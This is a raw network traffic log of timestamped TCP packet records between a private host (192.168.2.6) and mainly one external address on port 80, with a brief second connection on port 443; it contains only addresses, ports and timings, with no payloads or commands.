Oct 30, 2024 11:45:12.507275105 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.507318020 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.507519007 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.507555008 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.507572889 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.507591009 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.507599115 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.507626057 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.507632971 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.507673979 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.507946968 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.508006096 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.508022070 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.508069992 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.548139095 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.548196077 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.548243999 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.548249006 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.548259974 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.548289061 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.548295975 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.548326969 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.548335075 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.548363924 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.548366070 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.548405886 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.548527002 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.548583031 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.548597097 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.548633099 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.548645973 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.548667908 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.548672915 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.548705101 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.548711061 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.548748016 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.624861956 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.624919891 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.624948978 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.624953985 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.624989986 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.624990940 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.625000954 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.625051975 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.625155926 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.625190973 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.625210047 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.625227928 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.625245094 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.625293970 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.625323057 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.625329971 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.625348091 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.625365973 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.625376940 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.625401974 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.625412941 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.625451088 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.625931025 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.625984907 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.625987053 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.626023054 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.626034021 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.626059055 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.626071930 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.626110077 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.626334906 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.626368999 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.626389980 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.626405001 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.626413107 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.626451015 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.666992903 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.667028904 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.667064905 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.667083979 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.667085886 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.667120934 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.667130947 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.667159081 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.667160988 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.667201042 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.667210102 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.667257071 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.667421103 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.667455912 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.667476892 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.667491913 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.667494059 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.667527914 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.667536020 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.667570114 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.667862892 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.667915106 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.667917967 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.667953968 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.667964935 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.667995930 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.707904100 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.707940102 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.707976103 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.708003044 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.743555069 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.743597031 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.743628979 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.743650913 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.743653059 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.743686914 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.743690014 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.743724108 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.743733883 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.743767023 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.743829012 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.743864059 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.743870020 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.743902922 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.743906975 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.743938923 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.743947983 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.743983030 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.744337082 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.744390965 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.744407892 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.744442940 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.744447947 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.744477987 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.744488001 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.744514942 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.744519949 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.744559050 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.744961023 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.745013952 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.745013952 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.745052099 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.745058060 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.745085955 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.745095015 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.745126009 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.745129108 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.745172024 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.785615921 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:12.785651922 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:12.785720110 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:12.785837889 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.785891056 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.785891056 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.785943031 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.785949945 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.785985947 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.785996914 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.786030054 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.786102057 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:12.786113977 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:12.786118031 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.786159992 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.786169052 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.786196947 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.786206961 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.786231995 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.786233902 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.786267996 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.786274910 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.786303043 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.786307096 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.786340952 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.786923885 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.786958933 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.786978960 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.786994934 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.787003994 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.787035942 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.862338066 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.862395048 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.862430096 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.862443924 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.862487078 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.862526894 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.862556934 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.862565994 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.862596989 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.862663031 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.862698078 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.862718105 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.862734079 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.862740040 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.862776041 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.862893105 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.862943888 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.862978935 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.863013983 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.863034010 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.863048077 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.863050938 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.863087893 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.863415003 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.863466978 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.863470078 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.863503933 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.863508940 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.863538980 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.863549948 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.863575935 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.863581896 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.863606930 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.863614082 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.863648891 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.863661051 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.863691092 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.864335060 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.864370108 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.864407063 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.864413023 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.864413023 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.864449978 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.904767990 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.904834986 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.904921055 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.904972076 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.904975891 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.905026913 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.905030012 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.905064106 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.905071974 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.905100107 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.905101061 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.905133963 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.905144930 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.905169964 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.905183077 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.905221939 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.905258894 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.905294895 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.905296087 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.905317068 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.905492067 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.905543089 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.905544043 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.905580044 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.905592918 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.905622005 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.905787945 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.905817032 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.905838966 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.905867100 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.981291056 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.981343985 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.981347084 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.981384993 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.981391907 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.981419086 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.981421947 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.981456995 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.981463909 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.981501102 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.981511116 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.981559992 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.981621981 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.981671095 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.981688976 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.981724977 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.981730938 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.981766939 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.981946945 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.981981039 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.981995106 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.982023001 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.982048988 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.982083082 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.982091904 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.982120991 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.982125044 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.982156992 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.982167006 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.982198000 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.982629061 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.982678890 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.982683897 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.982718945 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.982734919 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.982760906 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.982805967 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.982840061 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.982848883 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.982877970 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:12.982881069 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:12.982927084 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.023618937 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.023672104 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.023695946 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.023708105 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.023732901 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.023745060 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.023760080 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.023789883 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.023797989 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.023839951 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.023849964 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.023896933 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.023910046 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.023946047 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.023953915 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.023988962 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.023997068 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.024034023 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.024044037 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.024076939 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.024378061 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.024411917 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.024429083 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.024446964 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.024455070 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.024488926 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.063821077 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.063857079 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.063890934 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.063951015 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.063973904 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.100022078 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.100079060 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.100105047 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.100131989 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.100150108 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.100167990 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.100178003 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.100205898 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.100210905 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.100263119 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.100292921 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.100327015 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.100348949 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.100394964 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.100450039 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.100502014 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.100502968 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.100537062 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.100548029 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.100573063 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.100584030 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.100615978 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.100832939 CET	80	49709	185.215.113.206	192.168.2.6
